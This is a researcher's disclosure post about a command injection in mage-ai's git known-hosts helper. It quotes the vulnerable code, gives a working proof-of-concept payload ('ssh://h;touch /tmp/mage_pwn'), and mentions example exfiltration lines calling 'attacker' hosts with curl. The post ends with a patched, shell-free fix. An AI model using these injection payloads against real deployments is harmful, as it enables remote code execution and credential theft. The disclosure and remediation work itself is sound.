I reported this OS command injection to the mage-ai project on April 11, 2024 as issue #4924. It got the bug label, got assigned to a maintainer five days later, and then nothing. The function sat vulnerable in master for 26 months. On June 4, 2026, a contributor opened PR #6117 with a fix referencing my report; I verified it against current master, approved it, and it merged on June 23, closing the issue. Twenty-six months from report to patch.
I found this while grepping the repo for shell=True after noticing how many data orchestration tools delegate to git over SSH. Mage AI is a Python-based pipeline tool (think Airflow alternative) and its git integration lets users wire a remote repo into the UI. That URL flows straight into a shell.
mage_ai/data_preparation/git/utils.py defines a one-line shell helper:
def run_command(command: str) -> None:\n proc = subprocess.Popen(args=command, shell=True)\n proc.wait()The caller that matters is add_host_to_known_hosts. It takes a remote repo URL from the user, runs it through urlparse, and feeds the result into a shell string:
def add_host_to_known_hosts(remote_repo_link: str):\n url = remote_repo_link\n if url and not url.startswith('ssh://'):\n url = f'ssh://{url}'\n hostname = urlparse(url).hostname\n if hostname:\n cmd = f'ssh-keyscan -t rsa {hostname} >> {DEFAULT_KNOWN_HOSTS_FILE}'\n run_command(cmd)\n return True\n return FalseThe hostname comes from a string the user controls, and the result is interpolated into a command that runs through /bin/sh -c. urlparse is a URL parser, not a sanitizer. It will hand back a “hostname” that contains shell metacharacters without complaint.
from mage_ai.data_preparation.git.utils import add_host_to_known_hosts\nadd_host_to_known_hosts("ssh://h;touch /tmp/mage_pwn")Output:
\n>>> add_host_to_known_hosts("ssh://h;touch /tmp/mage_pwn")\nTrue\n>>> import os; os.path.exists("/tmp/mage_pwn")\nTrueWhat gets executed:
\n/bin/sh -c 'ssh-keyscan -t rsa h;touch /tmp/mage_pwn >> ~/.ssh/known_hosts'The shell sees the semicolon and runs touch /tmp/mage_pwn as a separate command. The file shows up, the function returns True, no error is raised. Swap touch for curl http://attacker/$(whoami) or a reverse shell and you have remote code execution any time the user adds a git remote.
The original PoC I filed in 2024 used the same primitive with a different shape:
\nimport subprocess\nfrom urllib.parse import urlparse\nsubprocess.Popen("pwd" + urlparse("https://;whoami").hostname, shell=True)Same root cause, smaller test harness.
\nMage AI exposes a git settings UI where a project owner can enter a remote repository URL. That URL is the input to add_host_to_known_hosts. The vulnerability fires the first time the connection is set up. In a multi-tenant deployment (Mage AI is commonly run as a shared internal service for a data team), any user who can configure the git remote can run commands as the Mage AI process user. That process typically has access to pipeline credentials, warehouse connections, and the cloud IAM role attached to the host. Practically, this is RCE on the orchestrator with whatever blast radius the IAM role grants.
Stop using shell=True and pass arguments as a list. The shell never gets to interpret metacharacters because there is no shell:
def add_host_to_known_hosts(remote_repo_link: str):\n url = remote_repo_link\n if url and not url.startswith('ssh://'):\n url = f'ssh://{url}'\n hostname = urlparse(url).hostname\n if not hostname or not _is_valid_hostname(hostname):\n return False\n with open(DEFAULT_KNOWN_HOSTS_FILE, 'a') as f:\n subprocess.run(\n ['ssh-keyscan', '-t', 'rsa', hostname],\n stdout=f,\n check=False,\n )\n return TrueTwo changes carry the weight. subprocess.run([...]) with a list bypasses /bin/sh entirely, so a hostname like h;touch /tmp/mage_pwn is passed as a single literal argument to ssh-keyscan (which then fails to resolve it, harmlessly). The hostname validation is belt and suspenders: even if a future caller reintroduces shell=True, a regex that only accepts [A-Za-z0-9.-]{1,253} would have killed the original payload at the door.
The same fix has to be applied to create_ssh_keys, which uses the same urlparse pattern when it detects CodeCommit URLs.
shell=True is the default mental model for anyone who has ever written a bash one-liner. You think in pipes and redirections, you type it out as a string, and subprocess.Popen accepts that string without complaint. The list-of-args form feels clumsier when you actually need >> or |, so people reach for shell=True to get the redirect they want and then never come back to it.
The other half of the story is that urlparse looks like sanitization. It returns a hostname attribute. It lowercases the value. It strips the port. It feels like the URL has been parsed and validated. None of that is true in any security sense. urlparse will return a hostname for https://;whoami and for https://$(curl attacker.com) and for https://a b c. It is a structural parser, not an allowlist. Anyone treating the output as safe to interpolate into a shell command has misread the contract.
The shape of this bug (user controlled URL, structural parsing that looks like validation, shell=True for a one liner that needed a redirect) shows up in almost every data tool that integrates with git over SSH. I have hit it in three other projects in the last year.
master , a minimal fix, and a regression test. I reviewed and approved it.master ; issue #4924 closed. Total time open: 26 months.True whenssh-keyscan fails. The fix closed the injection, not the sloppiness.If you are running Mage AI in production, upgrade to a build that includes PR #6117. On older versions and forks, the git settings page is still an RCE surface for anyone allowed to configure a remote. And if you maintain something: don’t make a reporter with a working PoC wait 26 months for a one-line fix.
\n